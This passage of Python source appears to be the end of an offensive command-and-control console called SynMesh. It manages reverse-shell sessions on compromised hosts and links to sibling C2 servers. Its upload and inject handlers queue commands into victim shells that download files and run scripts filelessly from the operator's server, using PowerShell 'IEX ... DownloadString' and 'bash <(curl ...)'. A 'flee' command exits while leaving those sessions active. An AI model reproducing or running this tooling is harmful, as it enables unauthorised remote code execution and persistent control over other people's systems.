                identity = f"{CoreServer.server_id}:{core_settings.bind_port}:{CoreServer.hostname}"
                sock.sendall(struct.pack('>I', len(identity)) + identity.encode())
                
                # Receive sibling ID
                response = self.core._recv_msg(sock)
                if response:
                    parts = response.decode().split(':')
                    if len(parts) >= 2 and is_valid_uuid(parts[0]):
                        sibling_id = parts[0]
                        hostname = parts[1]
                        CoreServer.sibling_servers[sibling_id] = {
                            'Hostname': hostname,
                            'Server IP': ip,
                            'Server Port': port,
                            'Status': 'Active'
                        }
                        print(f"{Colors.GREEN}Connected to sibling: {hostname} ({ip}:{port}){Colors.END}")
                    else:
                        print(f"{Colors.RED}Connection failed: Invalid response.{Colors.END}")
                else:
                    print(f"{Colors.RED}Connection failed: No response.{Colors.END}")
            elif response == CoreServer.CONNECT_DENY:
                print(f"{Colors.RED}Connection denied.{Colors.END}")
            else:
                print(f"{Colors.RED}Connection failed.{Colors.END}")
            
            sock.close()
        except socket.timeout:
            print(f"{Colors.RED}Connection timed out.{Colors.END}")
        except Exception as e:
            print(f"{Colors.RED}Connection failed: {e}{Colors.END}")
    
    def _handle_upload(self, args: List[str]):
        """Handle upload command"""
        if len(args) < 3:
            print(f"{Colors.RED}Usage: upload <LOCAL_FILE> <REMOTE_PATH> <SESSION_ID>{Colors.END}")
            return
        
        local_file = args[0]
        remote_path = args[1]
        session_id = SessionManager.get_session_id(args[2])
        
        if not session_id:
            print(f"{Colors.RED}Session not found.{Colors.END}")
            return
        
        if not os.path.isfile(local_file):
            print(f"{Colors.RED}File not found: {local_file}{Colors.END}")
            return
        
        # Read file
        try:
            with open(local_file, 'rb') as f:
                file_data = f.read()
        except Exception as e:
            print(f"{Colors.RED}Failed to read file: {e}{Colors.END}")
            return
        
        # Generate ticket
        ticket = uuid4().hex
        FileSmuggler.file_transfer_tickets[ticket] = {
            'data': file_data,
            'issuer': 'self',
            'lifespan': 1,
            'reset_prompt': False
        }
        
        # Construct upload command
        ip = SessionManager.active_sessions[session_id].get('iface', '127.0.0.1')
        port = file_settings.bind_port
        shell_type = SessionManager.active_sessions[session_id].get('Shell', 'unix')
        
        if shell_type == 'powershell.exe':
            cmd = f"(New-Object Net.WebClient).DownloadFile('http://{ip}:{port}/{ticket}', '{remote_path}')"
        elif shell_type == 'cmd.exe':
            cmd = f'powershell -c "(New-Object Net.WebClient).DownloadFile(\\"http://{ip}:{port}/{ticket}\\", \\"{remote_path}\\")"'
        else:
            cmd = f'curl -s http://{ip}:{port}/{ticket} -o {remote_path} || wget -q http://{ip}:{port}/{ticket} -O {remote_path}'
        
        # Execute
        Hoaxshell.command_pool[session_id].append({'data': cmd, 'issuer': 'self', 'quiet': False})
        print(f"{Colors.GREEN}Upload initiated.{Colors.END}")
    
    def _handle_inject(self, args: List[str]):
        """Handle inject command (fileless execution)"""
        if not args:
            print(f"{Colors.RED}Usage: inject <LOCAL_FILE>{Colors.END}")
            return
        
        local_file = args[0]
        
        if not os.path.isfile(local_file):
            print(f"{Colors.RED}File not found: {local_file}{Colors.END}")
            return
        
        # Read file
        try:
            with open(local_file, 'r') as f:
                script_data = f.read()
        except Exception as e:
            print(f"{Colors.RED}Failed to read file: {e}{Colors.END}")
            return
        
        if not script_data.strip():
            print(f"{Colors.RED}File is empty.{Colors.END}")
            return
        
        # Execute in active shell
        if Hoaxshell.active_shell:
            session_id = Hoaxshell.active_shell
            shell_type = SessionManager.active_sessions[session_id].get('Shell', 'unix')
            
            if shell_type not in ['powershell.exe', 'unix', 'zsh', 'cmd.exe']:
                print(f"{Colors.RED}Shell type not supported for injection.{Colors.END}")
                return
            
            # Generate ticket
            ticket = uuid4().hex
            ip = SessionManager.active_sessions[session_id].get('iface', '127.0.0.1')
            port = file_settings.bind_port
            
            FileSmuggler.file_transfer_tickets[ticket] = {
                'data': script_data,
                'issuer': 'self',
                'lifespan': 1,
                'reset_prompt': False
            }
            
            # Construct injection command
            if shell_type == 'powershell.exe':
                cmd = f"IEX (New-Object Net.WebClient).DownloadString('http://{ip}:{port}/{ticket}')"
            elif shell_type in ['unix', 'zsh']:
                cmd = f"bash <(curl -s http://{ip}:{port}/{ticket}) || bash <(wget -q -O- http://{ip}:{port}/{ticket})"
            else:
                print(f"{Colors.RED}Unsupported shell for injection.{Colors.END}")
                return
            
            Hoaxshell.command_pool[session_id].append({'data': cmd, 'issuer': 'self', 'quiet': False})
            print(f"{Colors.GREEN}Injection initiated.{Colors.END}")
        else:
            print(f"{Colors.RED}No active shell session. Use 'shell <SESSION_ID>' first.{Colors.END}")
    
    def _exit(self):
        """Exit the application"""
        if SessionManager.active_sessions:
            print(f"{Colors.YELLOW}Terminating active sessions...{Colors.END}")
            for sid in list(SessionManager.active_sessions.keys()):
                if SessionManager.active_sessions[sid].get('self_owned', False):
                    SessionManager.kill_session(sid)
        
        self.running = False
        print(f"\n{Colors.GREEN}Goodbye!{Colors.END}")
        sys.exit(0)
    
    def _flee(self):
        """Exit without terminating sessions"""
        self.running = False
        print(f"\n{Colors.GREEN}Fleeing... Sessions remain active.{Colors.END}")
        print(f"{Colors.DIM}Use 'connect' to reconnect later.{Colors.END}")
        sys.exit(0)

# =============================================================================
# Main Entry Point
# =============================================================================

def main():
    """Main entry point for SynMesh"""
    try:
        # Check dependencies
        try:
            import netifaces
            import Cryptodome
            import readline
        except ImportError as e:
            print(f"{Colors.RED}Missing dependency: {e}{Colors.END}")
            print(f"{Colors.DIM}Install required packages: pip install netifaces pycryptodome{Colors.END}")
            sys.exit(1)
        
        # Check network
        interfaces = NetworkInterfaceManager.get_all_interfaces()
        if not interfaces:
            print(f"{Colors.RED}No network interfaces found!{Colors.END}")
            print(f"{Colors.DIM}Make sure you have network connectivity.{Colors.END}")
            sys.exit(1)
        
        # Start application
        app = SynMesh()
        app.start()
        
    except KeyboardInterrupt:
        print(f"\n{Colors.GREEN}Exiting...{Colors.END}")
        sys.exit(0)
    except Exception as e:
        print(f"\n{Colors.RED}Fatal error: {e}{Colors.END}")
        import traceback
        traceback.print_exc()
        sys.exit(1)

if __name__ == '__main__':
    main()